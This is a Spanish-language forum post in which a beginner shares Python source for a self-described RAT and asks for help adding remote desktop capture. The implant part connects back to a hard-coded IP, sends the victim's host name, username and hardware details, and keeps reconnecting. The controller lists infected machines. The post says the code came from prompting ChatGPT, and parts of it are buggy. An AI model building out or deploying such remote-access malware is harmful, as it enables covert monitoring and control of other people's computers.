Tengo estos codigos en python de una aplicacion cliente-servidor, es el inicio de un RAT...
He conseguido el codigo preguntado minuciosamente a chat gpt pero no soy capaz de avanzar, de momento solo he conseguido que el servidor mande los datos del PC y se escriban en el treeview del cliente...
Codigo del Cliente:
import socket
import struct
import threading
import tkinter as tk
from tkinter import ttk
import atexit
from queue import Queue  # Importa la cola para la comunicación entre subprocesos

class RemoteDeskForm(tk.Toplevel):
    def __init__(self, parent, client_id):
        tk.Toplevel.__init__(self, parent)
        self.title("Remote Desk")
            

class ClientForm(tk.Tk):
    def __init__(self):
        tk.Tk.__init__(self)
        self.title("Client Information")
        self.tree = ttk.Treeview(self, columns=("ID", "IP", "PC-Name", "Username", "System", "CPU", "GPU", "RAM"),
                                 show="headings")
        self.client_id_counter = 1  # Contador para las IDs del cliente
        self.client_rows = {}
        self.remote_desk_requests = Queue()  # Cola para almacenar solicitudes de escritorio

        for col in ("ID", "IP", "PC-Name", "Username", "System", "CPU", "GPU", "RAM"):
            self.tree.heading(col, text=col, anchor=tk.W)
            self.tree.column(col, anchor=tk.W, stretch=True)

        self.tree.bind("<Button-3>", self.show_context_menu)
        self.tree.pack(expand=True, fill="both")

        self.client_threads = []  # Lista para almacenar hilos de recepción
        self.server_sockets = {}  # Diccionario para almacenar sockets y sus ID de clientes

        self.after(100, self.setup_server)
        atexit.register(self.cleanup)

    def cleanup(self):
        for thread in self.client_threads:
            thread.stop()
        for client_id, server_socket in self.server_sockets.items():
            server_socket.close()

    def setup_server(self):
        try:
            server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            server_socket.bind(('', 1234))
            server_socket.listen()
            print("Cliente en espera de conexiones...")

            accept_thread = threading.Thread(target=self.accept_connections, args=(server_socket,))
            accept_thread.start()

        except Exception as ex:
            print(f"Error al configurar el servidor: {ex}")
            self.cleanup()

    def accept_connections(self, server_socket):
        try:
            while True:
                client_socket, client_address = server_socket.accept()
                print(f"Conectado por {client_address}")

                client_id = self.get_next_client_id()
                self.server_sockets[client_id] = client_socket

                receive_thread = threading.Thread(target=self.receive_data_from_server, args=(client_socket, client_id))
                receive_thread.start()
                self.client_threads.append(receive_thread)

        except Exception as ex:
            print(f"Error al aceptar conexiones: {ex}")
        finally:
            server_socket.close()

    def receive_data_from_server(self, client_socket, client_id):
        try:
            while True:
                length_bytes = client_socket.recv(4)
                if not length_bytes:
                    break

                data_length = struct.unpack('!I', length_bytes)[0]
                received_data = client_socket.recv(data_length).decode('utf-8')

                data_array = received_data.split("|")
                data_array.insert(0, str(client_id))

                self.after(0, lambda data_array=data_array: self.update_list_view(data_array))
                self.send_client_id(client_id)

        except ConnectionResetError:
            print(f"Servidor con ID {client_id} se desconectó.")
            self.handle_server_disconnection(client_id)

        except Exception as ex:
            print(f"Error al recibir datos del servidor: {ex}")

    def update_list_view(self, data_array):
        self.tree.insert("", "end", values=data_array)

    def get_next_client_id(self):
        client_id = self.client_id_counter
        self.client_id_counter += 1
        return client_id

    def send_client_id(self, client_id):
        try:
            if client_id in self.server_sockets:
                server_socket = self.server_sockets[client_id]
                length_bytes = struct.pack('!I', len(str(client_id)))
                server_socket.sendall(length_bytes)
                server_socket.sendall(str(client_id).encode('utf-8'))
        except Exception as ex:
            print(f"Error al enviar la ID al servidor: {ex}")

    def handle_server_disconnection(self, client_id):
        item_id = self.get_item_id_by_client_id(client_id)
        if item_id:
            self.tree.delete(item_id)
        else:
            print(f"Error: El ítem con ID {client_id} no se encontró en el treeview.")

    def get_item_id_by_client_id(self, client_id):
        for item_id in self.tree.get_children():
            values = self.tree.item(item_id, 'values')
            if values and values[0] == str(client_id):
                return item_id
        return None

    def show_context_menu(self, event):
        item_id = self.tree.identify_row(event.y)
        if item_id:
            client_id = self.tree.item(item_id, 'values')[0]
            context_menu = tk.Menu(self, tearoff=0)
            context_menu.add_command(label="Remote Desk", command=lambda client_id=client_id: self.open_remote_desk(client_id))
            context_menu.post(event.x_root, event.y_root)

    def open_remote_desk(self, client_id):
        remote_desk_form = RemoteDeskForm(self, client_id)
        remote_desk_form.geometry("300x200")
   def get_next_client_id(self):
    current_id = self.client_id_counter
    self.client_id_counter += 1
    return current_id

client_form = ClientForm()
client_form.mainloop()



Y el codigo del servidor:

import socket
import struct
import threading
import time
import platform
import psutil
import os
import GPUtil
import logging
import wmi
import random
class Server:
    def __init__(self):
        self.client_socket = None
        self.running = True
        self.client_id = None  # Agregado para almacenar el ID del cliente
        self.connect_to_client()

    def connect_to_client(self):
        try:
            ip = '192.168.1.137'
            self.client_socket = socket.create_connection((ip, 1234))
            logging.info("Conectado al cliente.")

            self.send_system_info_to_client()

            self.receive_data_from_client()
        except ConnectionError as ce:
            logging.error(f"Error de conexión: {ce}")
            self.reconnect_to_client()
        except Exception as ex:
            logging.error(f"Otro error durante la conexión: {ex}")
            self.reconnect_to_client()

    def send_data_to_client(self, data):
        try:
            if self.client_socket:
                data_to_send = "|".join(map(str, data))
                length_bytes = struct.pack('!I', len(data_to_send))
                self.client_socket.sendall(length_bytes)
                self.client_socket.sendall(data_to_send.encode('utf-8'))
        except (ConnectionAbortedError, ConnectionResetError) as cerr:
            logging.error(f"La conexión fue cerrada por el cliente: {cerr}")
            self.reconnect_to_client()
        except Exception as ex:
            logging.error(f"Error al enviar datos al cliente: {ex}")
            self.reconnect_to_client()

    def get_cpu_type(self):
        try:
            c = wmi.WMI()
            processors = c.Win32_Processor()
            return processors[0].Name
        except Exception as ex:
            logging.error(f"Error al obtener el tipo de CPU: {ex}")
            return "Unknown CPU"

    def send_system_info_to_client(self):
        try:
            pc_name = platform.node()
            system_version = f"{platform.system()} {platform.release()}"
            cpu_model = self.get_cpu_type()
            gpus = GPUtil.getGPUs()
            gpu_model = gpus[0].name if gpus else "No GPU detected"
            ram_size = f"{round(psutil.virtual_memory().total / (1024 ** 3), 2)} GB"
            username = os.getlogin()

            data_to_send = [
                self.client_socket.getsockname()[0],
                pc_name,
                username,
                system_version,
                cpu_model,
                gpu_model,
                ram_size
            ]

            self.send_data_to_client(data_to_send)
        except Exception as ex:
            logging.error(f"Error al enviar información del sistema al cliente: {ex}")
            self.reconnect_to_client()

    def receive_data_from_client(self):
     try:
        while self.running:
            length_bytes = self.client_socket.recv(4)
            if not length_bytes:
                break

            data_length = struct.unpack('!I', length_bytes)[0]
            received_data = self.client_socket.recv(data_length).decode('utf-8')

            # Verifica si es un mensaje de solicitud de escritorio remoto
            pint(f"Received ID from client: {received_data}")

     except ConnectionResetError:
        logging.error(f"Cliente con ID {self.client_id} se desconectó.")
        self.reconnect_to_client()

     except Exception as ex:
        logging.error(f"Error al recibir datos del cliente: {ex}")

    def receive_client_id(self):
        try:
            length_bytes = self.client_socket.recv(4)
            data_length = struct.unpack('!I', length_bytes)[0]
            client_id = self.client_socket.recv(data_length).decode('utf-8')
            return int(client_id)
        except Exception as ex:
            logging.error(f"Error al recibir ID del cliente: {ex}")
            return None


    def reconnect_to_client(self):
     while self.running:
        try:
            time.sleep(15)
            logging.info("Intentando reconectar al cliente...")
            self.connect_to_client()
            logging.info("Reconexión exitosa.")
            return  # Sale del bucle si la reconexión es exitosa
        except Exception as ex:
            logging.error(f"Error durante la reconexión: {ex}")

        

# Configura el registro de logs
logging.basicConfig(level=logging.INFO)

# Crea una instancia del servidor
server_instance = Server()

Quiero que cuando el cliente abra el form Remote Desk se vuelve a crear una conexion igual a la establecida en otro puerto?¿ para que el cliente envíe una petición al servidor seleccionado en el treeview y se inicia el envío de imágenes de escritorio.
Alguien me ayuda con esto?
Soy nuevo en python y mi nivel de programacion es mas bien bajo pero me gustaria tener la herramienta acabada para que pueda ver el escritorio remoto almenos, y es que sigo sin conseguirlo, si alguien se anima a echarme una mano se lo agradecería enormemente...este es mi telegram: @cosmos89
Responder

Volver a “Fuentes”